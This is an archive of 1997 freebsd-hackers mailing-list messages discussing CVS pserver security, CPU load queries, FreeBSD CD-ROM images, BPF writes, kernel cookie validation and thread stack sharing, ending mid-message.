Sincerely Yours, (Sent on 17-Sep-97, 08:57:52 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Wed Sep 17 09:16:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA21739 for hackers-outgoing; Wed, 17 Sep 1997 09:16:36 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA21727 for ; Wed, 17 Sep 1997 09:16:26 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.8.7/8.6.12) with SMTP id MAA09434; Wed, 17 Sep 1997 12:16:10 -0400 (EDT) Date: Wed, 17 Sep 1997 12:16:09 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Simon Shapiro cc: FreeBSD-Hackers Subject: Re: Distributed Lock Manager on FreeBSD (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Simon Shapiro wrote: > > Hi Chuck Robey; On 17-Sep-97 you wrote: > > ... > > > I'm impressed! This is a huge undertaking. I'd love to read more, I > > hope > > you post updates, or give URL's where I can read more about it. > > Actually, there is very little code in it. Understanding the issues and > designing were more difficult. I think (at least to me) that's obvious. Taking all the time involved to get the whole system working together, in so many different cases, is what I'm impressed with. I hope you get permission to post any design docs you made. > > > --- > > > Sincerely Yours, (Sent on 17-Sep-97, 08:59:34 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Wed Sep 17 09:51:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA24314 for hackers-outgoing; Wed, 17 Sep 1997 09:51:21 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA24309 for ; Wed, 17 Sep 1997 09:51:16 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id JAA19469; Wed, 17 Sep 1997 09:47:32 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd019465; Wed Sep 17 16:47:29 1997 Message-ID: <34200977.446B9B3D@whistle.com> Date: Wed, 17 Sep 1997 09:46:47 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: itojun@itojun.org CC: Marc Slemko , hackers@FreeBSD.ORG Subject: Re: cvs pserver mode References: <19600.874477702@itojun.csl.sony.co.jp> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk itojun@itojun.org wrote: > > >> does any of you have trouble using pserver mode of cvs? > >First, don't use pserver. It sucks. Badly. It stores unencrypted > >passwords on the clients disk and anyone with a shell on the server an > >steal connections (and hence passwords) from users connecting. Bad. > >Secondly, you need the --allow-root option to tell it what repositories to > >use. This is new in 1.9.10 or something like that. > > Thanks very much for the comment (and to Julian), I'll keep myself > away from pserver. > > My goal is to have a way to publish half-public source code to > 20 or so people, without giving them an account on my machine. > (they won't make changes to my repository) > Options seems to be as follows, but I don't know which is good/bad. > - cvs pserver (should stay away from this) > - anonymous cvs + some modification > (how to set it up? OpenBSD people uses this to keep them in sync) > - cvsupd + some modification > (current version has no authentication, it seems) > - give an account (say, "mygroup") to them and use rsh/ssh > > Please let me know your opinion. Thanks! > > itojun you can use ssh as the transport in which case you need to make it so the othe rpeople can do an ssh to your server (at least that way the passwd is protected) if you use pserver, set up an alternate password file in the CVSROOT directory (as directd in the docs,) or make sure that teh accounts you setup for them have no login shell. That way all they can do is CVS. If you have kerberos of course the kserver protocol is the most secure. how about setting up a cvsup server? then they can get updates as needed. and how about a cvsweb server (as seen at http://www.freebsd.org/cgi/cvsweb.cgi/ ) From owner-freebsd-hackers Wed Sep 17 10:11:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25518 for hackers-outgoing; Wed, 17 Sep 1997 10:11:55 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA25505 for ; Wed, 17 Sep 1997 10:11:46 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0xBNYX-0005pw-00; Wed, 17 Sep 1997 10:06:25 -0700 Date: Wed, 17 Sep 1997 10:06:24 -0700 (PDT) From: Tom To: John Hay cc: Zoltan Sebestyen , hackers@freebsd.org Subject: Re: cpu load In-Reply-To: <199709170755.JAA14014@zibbi.mikom.csir.co.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, John Hay wrote: > > > > I'm searching for an easy way to get information cpu_load on FreeBSD. On > > Linux people just reads /proc/stat, but that one won't work on FreeBSD. > sysctl vm.loadavg getloadavg() might be better for use within a program. It is portable to all BSD4.4 systems. > John > -- > John Hay -- John.Hay@mikom.csir.co.za > > Tom From owner-freebsd-hackers Wed Sep 17 10:14:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25665 for hackers-outgoing; Wed, 17 Sep 1997 10:14:32 -0700 (PDT) Received: from phoenix.its.rpi.edu (phoenix.its.rpi.edu [128.113.161.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA25658 for ; Wed, 17 Sep 1997 10:14:27 -0700 (PDT) Received: from localhost (dec@localhost) by phoenix.its.rpi.edu (8.8.7/8.8.7) with SMTP id NAA28733 for ; Wed, 17 Sep 1997 13:15:18 -0400 (EDT) Date: Wed, 17 Sep 1997 13:15:18 -0400 (EDT) From: "David E. Cross" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: <20322.874510892@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Jordan K. Hubbard wrote: > You mean they make it available for FTP? > > Sure, I could do that easily, I've just never knew that anyone would > really _want_ a 640MB file to download. What do other folks think? > I would really appreciate it.. I had to do it myself before, would be nice to have it doen for me. -- David Cross From owner-freebsd-hackers Wed Sep 17 10:18:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25818 for hackers-outgoing; Wed, 17 Sep 1997 10:18:29 -0700 (PDT) Received: from piggy.mdstud.chalmers.se (root@piggy.mdstud.chalmers.se [129.16.234.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA25813 for ; Wed, 17 Sep 1997 10:18:24 -0700 (PDT) Received: from grosse.mdstud.chalmers.se (md6tommy@grosse.mdstud.chalmers.se [129.16.234.21]) by piggy.mdstud.chalmers.se (8.8.5/8.8.5) with ESMTP id TAA21320; Wed, 17 Sep 1997 19:18:21 +0200 (MET DST) Received: from localhost (md6tommy@localhost) by grosse.mdstud.chalmers.se (8.8.5/8.8.5) with SMTP id TAA06551; Wed, 17 Sep 1997 19:18:19 +0200 (MET DST) X-Authentication-Warning: grosse.mdstud.chalmers.se: md6tommy owned process doing -bs Date: Wed, 17 Sep 1997 19:18:19 +0200 (MET DST) From: Tommy Hallgren To: "Jordan K. Hubbard" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >You mean they make it available for FTP? Yes. ftp://ftp.debian.org/OfficialCD/1.3.1/ >Sure, I could do that easily, I've just never knew that anyone would >really _want_ a 640MB file to download. They've split it into smaller files. Thank God. As others wrote to me saying that "make release" would be a substitue isn't a serious answer. When I burned my FreeBSD2.2.1 CD I had to struggle with very buggy and strange ftp programs in both Windows and MSDOS. I wanted all of the distribution. But I couldn't get any of the clients to handle symlinks they way I wanted, so I fetched the packages/All directory. Not quite what I wanted. A friend brought his Windows95 computer to my school so we still had long filenames. Burning it was very cryptic. We could choose 8.3(straight ISO/DOS) or long filenames(Windows95). When I got home I put the CD into my drive only to find that the installation program couldn't find the files. In Windows95 everything looked fine. But in Linux(which I used back then) every filename was in lower case. :-( With a complete CD-image I, and many with me, wouldn't have any of these problems, regardless of the different systems used to fetch and burn the CD. Mvh: Tommy(md6tommy@mdstud.chalmers.se) - Will buy the CD next time. :-) From owner-freebsd-hackers Wed Sep 17 10:20:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25990 for hackers-outgoing; Wed, 17 Sep 1997 10:20:19 -0700 (PDT) Received: from lafcol (lafcol.lafayette.edu [139.147.8.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA25964 for ; Wed, 17 Sep 1997 10:20:10 -0700 (PDT) Received: from bishop by lafcol (SMI-8.6/SMI-SVR4) id NAA08890; Wed, 17 Sep 1997 13:18:55 -0400 Message-Id: <3.0.32.19970917131454.0097c580@lafcol.lafayette.edu> X-Sender: knollm@lafcol.lafayette.edu X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 17 Sep 1997 13:19:45 -0400 To: hackers@freebsd.org From: Michael Knoll Subject: NETINET/header files Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I tried to compile a program which uses #include the other day and if failed on the headerfiles. It appears as if these header files are broken in the stable tree. Are they broken? Is there another include I need to add to get these headers to pass through correctly? Thanks Michael From owner-freebsd-hackers Wed Sep 17 10:23:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26140 for hackers-outgoing; Wed, 17 Sep 1997 10:23:30 -0700 (PDT) Received: from phoenix.its.rpi.edu (phoenix.its.rpi.edu [128.113.161.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA26130 for ; Wed, 17 Sep 1997 10:23:23 -0700 (PDT) Received: from localhost (dec@localhost) by phoenix.its.rpi.edu (8.8.7/8.8.7) with SMTP id NAA29114; Wed, 17 Sep 1997 13:23:24 -0400 (EDT) Date: Wed, 17 Sep 1997 13:23:24 -0400 (EDT) From: "David E. Cross" To: Atipa cc: Tommy Hallgren , freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Atipa wrote: > When we burn a CD-ROM here, the only place it gets nasty is in the > packages section. I can not get our CD burner to respect the symlinks; it > actually copies the file into two places, eg: > > rwxr-xr-x 1 bin bin - 18 Sep 15 21:47 /usr/bin/vi@ -> /usr/local/bin/vim > > would actually have two copies of the file, one in /usr/bin and one in > /usr/local/bin in this case. That doubles the amount of room needed for > the packages, and then the image exceeds the 650MB limit. You need to use the 'mkisofs' program, and specify the option to use Rockridge extensions (there are two, you want to use the one that auto-corrects the permissions/groups, etc...) It worked great for me, I even made the CD self booting ;) -- David Cross From owner-freebsd-hackers Wed Sep 17 10:31:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26664 for hackers-outgoing; Wed, 17 Sep 1997 10:31:37 -0700 (PDT) Received: from phoenix.its.rpi.edu (phoenix.its.rpi.edu [128.113.161.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA26653 for ; Wed, 17 Sep 1997 10:31:30 -0700 (PDT) Received: from localhost (dec@localhost) by phoenix.its.rpi.edu (8.8.7/8.8.7) with SMTP id NAA29644 for ; Wed, 17 Sep 1997 13:32:19 -0400 (EDT) Date: Wed, 17 Sep 1997 13:32:18 -0400 (EDT) From: "David E. Cross" To: hackers@freebsd.org Subject: Re: http://www.asus.com/support/agpfaq.asp In-Reply-To: <25661.874511181@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Jordan K. Hubbard wrote: > So, Amancio, when are you going to announce the start of your AGP > support effort for FreeBSD? :-) I take it he just did ;) -- David Cross From owner-freebsd-hackers Wed Sep 17 10:50:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA28059 for hackers-outgoing; Wed, 17 Sep 1997 10:50:35 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA28054 for ; Wed, 17 Sep 1997 10:50:29 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id TAA07680; Wed, 17 Sep 1997 19:55:54 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709171755.TAA07680@ocean.campus.luth.se> Subject: Re: CDROM image In-Reply-To: <20322.874510892@time.cdrom.com> from "Jordan K. Hubbard" at "Sep 17, 97 08:41:32 am" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Wed, 17 Sep 1997 19:55:54 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Jordan K. Hubbard: > You mean they make it available for FTP? > > Sure, I could do that easily, I've just never knew that anyone would > really _want_ a 640MB file to download. What do other folks think? Well... It's no problem to download if you have a 24h, highspeed connection. Leave it downloading for 2 days. :-) But, I thought of something else, though. Why not make a target (I'm not sure there isn't one. Is there?) "image", so you could do "make image", and have one created with all the source, binaries, and ports (plus the distfiles you happen to have downloaded in post/distfiles) into your own release as a ready to burn image? Just a random idea... Take it or leave it :-) /Mikael From owner-freebsd-hackers Wed Sep 17 11:21:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA29730 for hackers-outgoing; Wed, 17 Sep 1997 11:21:09 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA29724 for ; Wed, 17 Sep 1997 11:21:04 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA26462; Wed, 17 Sep 1997 20:21:03 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA01479; Wed, 17 Sep 1997 20:20:33 +0200 (MET DST) Message-ID: <19970917202032.WM57415@uriah.heep.sax.de> Date: Wed, 17 Sep 1997 20:20:32 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: md6tommy@mdstud.chalmers.se (Tommy Hallgren) Subject: Re: CDROM image References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tommy Hallgren on Sep 17, 1997 16:26:36 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tommy Hallgren wrote: > I read that the Debian group has made a CDROM image of their release, > maybe this would be a good idea for the FreeBSD community as well? > > The idea is nice, just download the image, burn it, make some floppys and > reboot. What (except the smaller traffic) would it buy you to just download the boot floppy, and use the FTP installation method? I hesitate the idea of people sucking 2 650 MB images across the net. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Sep 17 11:47:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA01409 for hackers-outgoing; Wed, 17 Sep 1997 11:47:28 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA01375 for ; Wed, 17 Sep 1997 11:47:13 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id LAA01060; Wed, 17 Sep 1997 11:47:21 -0700 (PDT) To: Tommy Hallgren cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-reply-to: Your message of "Wed, 17 Sep 1997 19:18:19 +0200." Date: Wed, 17 Sep 1997 11:47:21 -0700 Message-ID: <1056.874522041@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > They've split it into smaller files. Thank God. I don't think I'd be interested in doing this, but I might be willing to just put the raw images that I use up for FTP. The way I see it, if you're a sophisticated enough user that you're burning your own CDROMs, you're smart enough to use ftp reget if your connection dies in the middle. ;-) Jordan From owner-freebsd-hackers Wed Sep 17 11:50:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA01773 for hackers-outgoing; Wed, 17 Sep 1997 11:50:41 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA01747 for ; Wed, 17 Sep 1997 11:50:30 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA26716; Wed, 17 Sep 1997 20:50:28 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA01551; Wed, 17 Sep 1997 20:24:53 +0200 (MET DST) Message-ID: <19970917202453.BZ05191@uriah.heep.sax.de> Date: Wed, 17 Sep 1997 20:24:53 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: md6tommy@mdstud.chalmers.se (Tommy Hallgren) Subject: Re: CDROM image References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tommy Hallgren on Sep 17, 1997 19:18:19 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tommy Hallgren wrote: > As others wrote to me saying that "make release" would be a substitue > isn't a serious answer. When I burned my FreeBSD2.2.1 CD I had to struggle > with very buggy and strange ftp programs in both Windows and MSDOS. I > wanted all of the distribution. But I couldn't get any of the clients > to handle symlinks they way I wanted, so I fetched the packages/All > directory. Not quite what I wanted. A friend brought his Windows95 > computer to my school so we still had long filenames. Why didn't you download it as a .tar file then? AFAIR, wcarchive supports downloading an entire hiearchy as a tar archive as well. Just specify a directory name, and append .tar. This will preserve symlinks. Keep the tar archive around until your FreeBSD is up, and you'll be able to use it... (or burn a CD out of it _with_ symlinks :). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Sep 17 11:52:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA01972 for hackers-outgoing; Wed, 17 Sep 1997 11:52:48 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA01954 for ; Wed, 17 Sep 1997 11:52:43 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id LAA01125; Wed, 17 Sep 1997 11:52:34 -0700 (PDT) To: Mikael Karpberg cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-reply-to: Your message of "Wed, 17 Sep 1997 19:55:54 +0200." <199709171755.TAA07680@ocean.campus.luth.se> Date: Wed, 17 Sep 1997 11:52:34 -0700 Message-ID: <1121.874522354@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Why not make a target (I'm not sure there isn't one. Is there?) "image", so > you could do "make image", and have one created with all the source, binaries , > and ports (plus the distfiles you happen to have downloaded in post/distfiles And the packages and XFree86 and the CVS repository on CD 2 and... :-) There's no target for this simply because the process still involves a fair bit of manual intervention and, as has been pointed out here before, the targets that you see in /usr/src/release/Makefile are *not* done for general consumption's sake, they are done by the release engineers to make their own releases easier and anything that doesn't lend itself well to complete automation, we don't. :-) Jordan From owner-freebsd-hackers Wed Sep 17 11:53:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA02076 for hackers-outgoing; Wed, 17 Sep 1997 11:53:33 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA02064 for ; Wed, 17 Sep 1997 11:53:23 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id LAA02758; Wed, 17 Sep 1997 11:52:52 -0700 (MST) From: Terry Lambert Message-Id: <199709171852.LAA02758@usr02.primenet.com> Subject: Re: Problem about BPF To: mike@smith.net.au (Mike Smith) Date: Wed, 17 Sep 1997 18:52:49 +0000 (GMT) Cc: stt@casper.cpe.ku.ac.th, hackers@FreeBSD.ORG In-Reply-To: <199709160052.KAA00498@word.smith.net.au> from "Mike Smith" at Sep 16, 97 10:22:38 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If I want to send a frame to a BPF device, can I use more than one > > "write" commands to complete all fields of a packet? (i.e. first write for > > ether_header and another write for IP packet). > > No. Each write must be a complete datagram. Think about it for a > moment - how else could the kernel know when you had given it enough > and send the packet? You could "write" 0 bytes. Wait, no, that's DOS! Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:05:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02779 for hackers-outgoing; Wed, 17 Sep 1997 12:05:59 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA02770 for ; Wed, 17 Sep 1997 12:05:54 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA04926; Wed, 17 Sep 1997 12:05:53 -0700 (MST) From: Terry Lambert Message-Id: <199709171905.MAA04926@usr02.primenet.com> Subject: Re: Fast Encryption (in kernel) seeked To: julian@whistle.com (Julian Elischer) Date: Wed, 17 Sep 1997 19:05:52 +0000 (GMT) Cc: Shimon@i-connect.net, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Julian Elischer" at Sep 16, 97 00:38:42 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > To answer this question correctly, > We need to know more details.. > every algorythm has its day. It depends on what the situation is. Heh. > For example, if there will be less than 100 of these 'pointers' > outstanding at a time, different schemes would be used to the case where > there are 100000 outstanding.. Oh, for example, we could call the "100 case"... "file descriptors"? 8-). Using a pool that you know of, you can easily check if the address is within the bounds of the pool, and whethr the address is pointing to a structure boundry or not (((addr - base) % size) == 0), and whether the struct is valid (ad a "valid" flag to it). > can you guarentee that each pointer given out will be 'returned'? ...if you can't, you will have to use range restrictions in order to validate pointers as if they were cookies. Probably you will need to include validators co the caller can indicate them to the kernel. > will it be returned only once? ...if so, then allocate a context struct that is freed when the pointer is returned, since it's proper N:N reflexive. > what if a process dies while owning a pointer? ...if you allocate anything in kernel space on a per process basis, it will have to be freed by _exit. > when does the buffer become free? ...something to consider, in case you want to avoid filling up all of kernel memory. 8-) 8-). > who allocates the buffers? ...whoever it is will need to free them for the interface to be reflexive and not bubject to races. > I have code that does all this but it's only useful to you if > what you want to do matches the goals of what I was designing for.. > > tell me more.. Especially tell us how a kernel "encryption" whose source is know can fool a user program that is aware of your algorithm with anthing more than statistical protection. 8-) 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:12:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03254 for hackers-outgoing; Wed, 17 Sep 1997 12:12:58 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA03240 for ; Wed, 17 Sep 1997 12:12:54 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA06140; Wed, 17 Sep 1997 12:12:51 -0700 (MST) From: Terry Lambert Message-Id: <199709171912.MAA06140@usr02.primenet.com> Subject: Re: Fast Encryption (in kernel) seeked To: Shimon@i-Connect.Net (Simon Shapiro) Date: Wed, 17 Sep 1997 19:12:50 +0000 (GMT) Cc: julian@whistle.com, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: from "Simon Shapiro" at Sep 16, 97 01:06:56 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > can you guarentee that each pointer given out will be 'returned'? > > Not at all. I can guarantee that until it is returned, the pointer will be > dormant. > > > will it be returned only once? > > Yup. > > > what if a process dies while owning a pointer? > > Then eventually the pointer goes away. > > > when does the buffer become free? > > very soon after the pointer comes back home. This is what he was asking, really: is there a 1:1 correspondance between cookies returned and cookied given out. The answer seems to be "yes". > I want to guarantee that the cookie the kernel requestor sleeps on is > unique within the kernel address space and genuine. To do so, I need to: > > a. Validate that it is genuine. See previous posting. > b. Find, QUICKLY, the original bucket that holds the request; this is > where the request and all its atndant pieces are. Use a hash. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 12:23:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03846 for hackers-outgoing; Wed, 17 Sep 1997 12:23:50 -0700 (PDT) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA03841 for ; Wed, 17 Sep 1997 12:23:47 -0700 (PDT) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id MAA07899; Wed, 17 Sep 1997 12:23:09 -0700 (MST) From: Terry Lambert Message-Id: <199709171923.MAA07899@usr02.primenet.com> Subject: Re: What is wrong with this snipet? To: Shimon@i-Connect.Net (Simon Shapiro) Date: Wed, 17 Sep 1997 19:23:07 +0000 (GMT) Cc: julian@whistle.com, thorpej@nas.nasa.gov, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Simon Shapiro" at Sep 16, 97 01:20:56 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Obviously, multiple threads in the same process > > can see each other's stacks etc, and various 'threads' in a > > process can 'migrate' to the other process if all shared > > processes can see all the stacks.. > > My apologies. Again, I am not clear in my words. I have no qualm, nor > argument with the definition, not necessarily with the implementation. > > From my naive point of view, what is less than very useful is the fact that > one process exiting blows up the other which is not. One would think that > since all processes now share the same address space, early exiters do not > take the memory with them, but leave it for the others. If you don't want shared address spaces, implement your programs as processes instead of threads within a process. A threaded process necessarily implies a shared address space. The need for the stack vidibility is, or should be, obvious, in the same way that the use of thread local storage not allocated out of the global heap should be obvious: thread1() { auto array[]; ... pass_array_ptr_to_thread2(); interlock_completion_thread2(); ... } thread2() { for(;;) { wait_for_array_from_threadX(); ... signal_completion_thread2(); } } Say thread2() does something like async resolver lookups. Now if you don't interlock, the auto goes away. If the stacks are not visible, the ptr reference to array[] goes away when thread1() goes away. Auto variables in a "thread_main" *are* thread local storage: (1) they are scoped to the existance of the thread, and (2) they go away [become untrustworthy] when the thread coes away and they are made available for reallocation. > >From my thinking (which is not necessarily correct), instead of new > processes having to identify to themselves that they are 